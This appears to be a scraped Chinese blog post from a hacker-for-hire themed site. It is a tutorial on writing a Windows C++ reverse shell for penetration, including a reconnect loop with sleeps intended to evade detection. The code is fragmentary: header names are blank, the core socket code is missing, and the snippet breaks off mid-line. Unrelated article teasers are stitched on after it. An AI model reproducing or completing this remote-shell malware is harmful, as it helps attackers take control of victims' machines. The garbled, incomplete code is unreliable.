渗透不会反弹shell?来教你写一个cmd的shell

访客3年前关于黑客接单897

  渗透不会反弹shell?来教你写一个cmd的shell

  包含的库:

  #include

  #include

  #include

  #include

  #include

  #pragma comment(lib, "Ws2_32.lib")

  #define DEFAULT_BUFLEN 1024

  winsock2和ws2tcpip两个库文件是用来初始化 *** 套接字的。windows用来初始化一些windows下的函数,string方便我们后面的一些字符串转换,iostream则是标准的c++头文件,#pragma comment(lib,“Ws2_32.lib”)用来指定编译器使用静态编译该库文件,防止其他环境下无法正常运行我们的文件。1024为给socket的recv和send函数定义缓冲区长度。

  我们定义一个函数和一个主函数,反向shell的函数RunShell,两个参数,一个是我们的host一个是ip。

  int RunShell(char *host, int port){

  }

  int main(int argc, char** argv) {

  }

  其中的argc为调用的参数的个数,argv为具体的值。这里稍微要注意一下,在接受参数的时候,默认的之一个参数是文件的路径名,所以,我们在接下来的传参的过程中,需要将argv[1]、argv[2]传递给我们的RunShell。

  下面我们来编写我们的RunShell函数,为了避免中间有断开之类的情况,我们使用一个while循环进行一直监听,然后监听之前进行一些休眠,可以绕过部分检测,代码如下:

  基本上都已经给出来了注释,都是windows的api,具体的作用就是用来声明一个socket套接字,然后跟目标进行连接,如果失败,则跳出本次循环,继续发出请求。具体的用法,可以查看微软官方的文档:

  

  我们继续,接下来我们来编写我们的接收函数,并进行处理。

  char RecvData[DEFAULT_BUFLEN];

  memset(RecvData, 0, sizeof(RecvData));//将RecvData清0

  int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0);//接收数据

  if (RecvCode

相关文章

哪里可以查丈夫删除聊天记录

零食要不要吃?一半以上的家长都会说,零食最好不要吃。要吃,也不要多吃。吃多了零食,不仅会导致正餐的时候不正经吃,还会对身体不利。 但是,你禁得了零食吗?百分之百的家长都不能。既然禁不了,就不要为孩子...

2020淘宝双十一真的比平时便宜吗-2020淘宝双十一优惠力度有多大

2020淘宝双十一真的比平时便宜吗-2020淘宝双十一优惠力度有多大

很多人都会好奇的一件事情就是像双十一或者618这种购物节的时候买东西真的会比平常要便宜一些吗,经过大家这些年的购物也是有很多经验的,那我们就来了解2020淘宝双十一真的比平时便宜吗,如果在双十一买东西...

Visual Studio启动机械学习方法,Visual Studio教程

Visual Studio如何运行深度学习呢?下边是我详细介绍Visual Studio运行深度学习的操作流程,有必须的小伙伴们一起来下面瞧瞧吧,期待能够协助到大伙儿!       Visual St...

获北京户口后离职赔偿单位31万是怎么回事_北京

北京户口一直以来都是香饽饽,只要去北京的人都想要北京户口,但是北京户口并不好拿。日前,有一名非京籍毕业生获北京户口后离职被要求赔偿单位31万,这是怎么回事呢?高校毕业生取得北京户口有什么条件呢?...

伦敦大学世界排名多少位(伦敦大学历年排名介

伦敦大学世界排名多少位(伦敦大学历年排名介

英国的教育质量水平在世界上面的地位相对来说是非常高的。每年前往英国留学的人数也非常的多,不仅仅如此,英国的名校也很多。伦敦不仅仅是英国的首都,也是英国政治经济文化中心,该城市综合能力发展好的同时,也有...

星座是按公历还是农历?星座到底以农历为准还是公历

星座是按公历还是农历?星座到底以农历为准还是公历

 星座源于西方国家,随着社会的发展和国与国之间的联系越来越频繁,才将星座引入我国在我国逐渐发展!由于星座来源于西方,而阴历(也称为农历)只是我们国家的特有算法,所以星座是按照阳历的日期来算的!以下就是...